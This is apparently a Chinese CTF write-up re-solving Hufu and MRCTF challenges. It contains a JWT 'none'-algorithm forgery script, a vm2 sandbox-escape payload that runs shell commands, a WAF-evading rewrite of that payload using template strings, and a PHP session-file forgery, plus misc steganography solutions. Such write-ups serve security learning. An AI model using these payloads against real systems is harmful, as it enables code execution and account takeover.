虎符&MRCTF部分题目复现

2020-04-24 160次浏览 0条评论  前往评论

前言


这次复现的题目是师兄开会讲的题目,我都复现了一下,又学到了新的东西。题目具体详情可以参考师兄的文章:传送门

虎符

easy_login


首先打开题目源码发现static/js/app.js,进去后发现koa

利用 koa-static 错误配置的源码泄露获得源码,进行审计。直接读取app.js

koa是基于Node.js的web框架。然后再进去controller.js

再进入controllers/api.js。api是通过抓包发现的

源码如下:

const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
    'POST /api/register': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || username === 'admin'){
            throw new APIError('register error', 'wrong username');
        }

        if(global.secrets.length > 100000) {
            global.secrets = [];
        }

        const secret = crypto.randomBytes(18).toString('hex');
        const secretid = global.secrets.length;
        global.secrets.push(secret)

        const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

        ctx.rest({
            token: token
        });

        await next();
    },

    'POST /api/login': async (ctx, next) => {
        const {username, password} = ctx.request.body;

        if(!username || !password) {
            throw new APIError('login error', 'username or password is necessary');
        }

        const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

        const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

        console.log(sid)

        if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
            throw new APIError('login error', 'no such secret id');
        }

        const secret = global.secrets[sid];

        const user = jwt.verify(token, secret, {algorithm: 'HS256'});

        const status = username === user.username && password === user.password;

        if(status) {
            ctx.session.username = username;
        }

        ctx.rest({
            status
        });

        await next();
    },

    'GET /api/flag': async (ctx, next) => {
        if(ctx.session.username !== 'admin'){
            throw new APIError('permission error', 'permission denied');
        }

        const flag = fs.readFileSync('/flag').toString();
        ctx.rest({
            flag
        });

        await next();
    },

    'GET /api/logout': async (ctx, next) => {
        ctx.session.username = null;
        ctx.rest({
            status: true
        })
        await next();
    }
};

jwt可以通过这个网站解析:传送门

image-20200423184848460

了解JWT的组成后,我们总结JWT可能存在如下的安全问题:

1.修改头什么的算法为none

2.若secret较短可以直接使用c-jwt-cracker

3.秘钥泄露

3.修改算法RS256为HS256

在这道题中明显是修改算法为none进行绕过。

这里就是注册的时候会生成一个jwt,登录的时候验证这个jwt。

这里写一个脚本构造出jwt

const crypto = require('crypto');
const jwt = require('jsonwebtoken');
secretid=0.5;
username="admin";
password="admin";
rolled="no"
const secret = crypto.randomBytes(18).toString('hex');
const token = jwt.sign({secretid, username, password,rolled}, secret, {algorithm: 'none'});
console.log(token);
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString());
console.log(sid)

这里要注意的是先注册一个账号然后再提交上面生成的JWT,因为不能让global.secrets这个数组为undefined,我们需要注册一个账号是的其初始化。

原理是用小数绕过 secretid 的限制,将 secret 置空。发现本题考点为利用 node 的 jsonwebtoken 库的已知缺陷:当 jwt secret 为空时,jsonwebtoken 会采用 algorithm none 进行解密。

伪造 secretid 为小数的 token,让 secret 成为 undefined,导致 algorithm 为 none 进而使用户变成 admin

然后这是脚本生成的jwt:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6MC41LCJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsInJvbGxlZCI6Im5vIiwiaWF0IjoxNTg3NjQ0MDk4fQ.

然后改包发送:

image-20200423211337775

再放包放到home这个页面就可以刷新网页进入getflag的界面了。再抓getflag的包发送即可看到flag。

这上面是师兄的思路,官方的脚本如下:

import jwt
import requests
base_url = "http://290fb4fb-dc63-46e7-988d-37edb35934ad.node3.buuoj.cn"
s = requests.Session()
res = s.post(base_url+'/api/register', data={"username": "hhh", "password": "hhh"})
token = jwt.encode({"secretid":0.333,"username":"admin","password":"admin"},algorithm="none",key="").decode('utf-8')
res = s.post(base_url+'/api/login', data={"username": "admin", "password": "admin", "authorization": token})

res = s.get(base_url+'/api/flag')
print(res.text)

直接运行也可以得到flag。

just_escape


打开F12发现这个:X-Powered-By:Express

运行代码 run.php?code=Error().stack 根据报错信息发现是 vm2 的沙盒逃逸问题。搜索可得 vm2 最新沙盒逃逸 poc:传送门

(function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
})()

直接使用的话发现存在waf:

image-20200423213317676

fuzz发现程序过滤了以下关键字:

process, exec, eval, constructor, prototype, Function, 加号, 双引号, 单引号被过滤

绕过方式如下:

`${`${`return proces`}s`}`

最后修改为:

(function(){
       TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
    try{
         Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
    }
})()

然后发现其他人的writeup直接在code后面加个[]就可以了。emmm

http://90694257-8da6-479a-9ea9-cc97c08e88cd.node3.buuoj.cn/run.php?code[]=(function(){
    TypeError.prototype.get_process = f=>f.constructor("return process")();
    try{
        Object.preventExtensions(Buffer.from("")).a = 1;
    }catch(e){
        return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
    }
})()

BabyUpload


源码如下:

 <?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>

如何得到flag呢,session必须得是admin其次必须存在success.txt。

首先这里两个POST参数,direction是用来选择上传或读取的,attr会被拼接到路径中。

$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;

再看upload的部分

if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);

这里会将路径拼接,也就是:

/var/babyctf/$_POST['attr']/文件名_sha256(临时文件名)

从源码开头的:

session_save_path("/var/babyctf/");

可以得知修改attr为空,文件名为sess,便可以伪造session文件。

下一步就是利用download读取自己的session,发现session内容格式,得知session引起为php_binary。

image-20200424145858004

在源代码里面是这样的

image-20200424145951565

然后直接复制出来保存在sess的文件里面,并把guest改为admin。并上传到靶机上面:

image-20200424150334856

然后可以测试出来sess的文件的hash值:

image-20200424150522602

然后可以用download的方式查看一下是否上传成功了:

image-20200424150642155

image-20200424150705164

可以看到已经成功改为admin。

不过还需要有一个success.txt,由于他这里用的是file_exists,所以我们令attr=success.txt使之成为一个路径也能通过检测。然后这里的文件随便填就行。

image-20200424154207639

这样两个条件都满足了,抓包改PHPSESSID即可得到flag。

image-20200424154520097

MRCTF

你能看懂音符吗


用010打开后改一下发现文件头被改,把61 52改为52 61即可。

然后发现打开docx,显示隐藏文字,然后发现一段音符:

♭♯♪‖¶♬♭♭♪♭‖‖♭♭♬‖♫♪‖♩♬‖♬♬ ♭♭♫‖♩♫‖♬♪♭♭♭‖¶∮‖‖‖‖♩♬‖♬♪‖♩ ♫♭♭♭♭♭§‖♩♩♭♭♫♭♭♭‖♬♭‖¶§♭♭♯‖♫ ∮‖♬¶‖¶∮‖♬♫‖♫♬‖♫♫§=

然后直接在这个网站解密即可得到flag:传送门

不眠之夜


打开之后发现有很多图片,直接使用命令合在一起

montage *.jpg -geometry +0+0+0 ok.jpg

然后用gaps这个工具自动拼图:

gaps --image=ok.jpg --generations=50 --population=120 --size=50

寻找xxx


打开wav文件电话拨号声,直接扔dtmf读取出来,然后手动去重,因为有干扰声。工具:传送门

使用工具的时候在dtmf-decoder.py文件里面把:

if __name__ == '__main__':
    # load wav file
    wav = wave.open('1.wav', 'r')

1.wav换成题目的wav即可。结果为:18684221609。

Hello_ misc


打开题目是一个压缩包和一张图片:

image-20200424211603839

binwalk这个try图片可以得到一个ZIP压缩包。

然后再用用stegsolve查看图片,Save Bin可直接得到图片:

image-20200424212518740

用图片上的密码打开ZIP压缩包。发现文档信息:

127
255
63
191
127
191
63
127
...

观察可知文档中只含有 127 255 63 191 这四个数字,将这四个数字转化为二进制,可以看到这四个数字的二进制形式中 只有最高两位的二进制数不同 ,将其最高两位提取出来组合在一起转化为ASCII,可以得到rar密码:

脚本如下:

f = open('../out.txt','r')
a = f.readlines()
p = []
for i in a:
    p.append(int(i))

s=''
for i in p:
    if i ==63:
        a = '00'
    elif i== 127:
        a= '01'
    elif i== 191:
        a='10'
    elif i== 255:
        a='11'
    s +=a

result=''
for i in range(0,len(s),8):
    result += chr(int(s[i:i+8],2))
print(result)

到rar包的解压密码:0ac1fe6b77be5dbe

解压可以得到一个zip包,看zip包里的内容(里面都是xml)可以知道这是一个 docx 文件,改后缀为docx得到最终的文件。

将文件内容全选改为深色,可以看到在文档的最下方藏有几串字符

image-20200424212849538

再base64解密:

image-20200424212915052



登录后回复

共有0条评论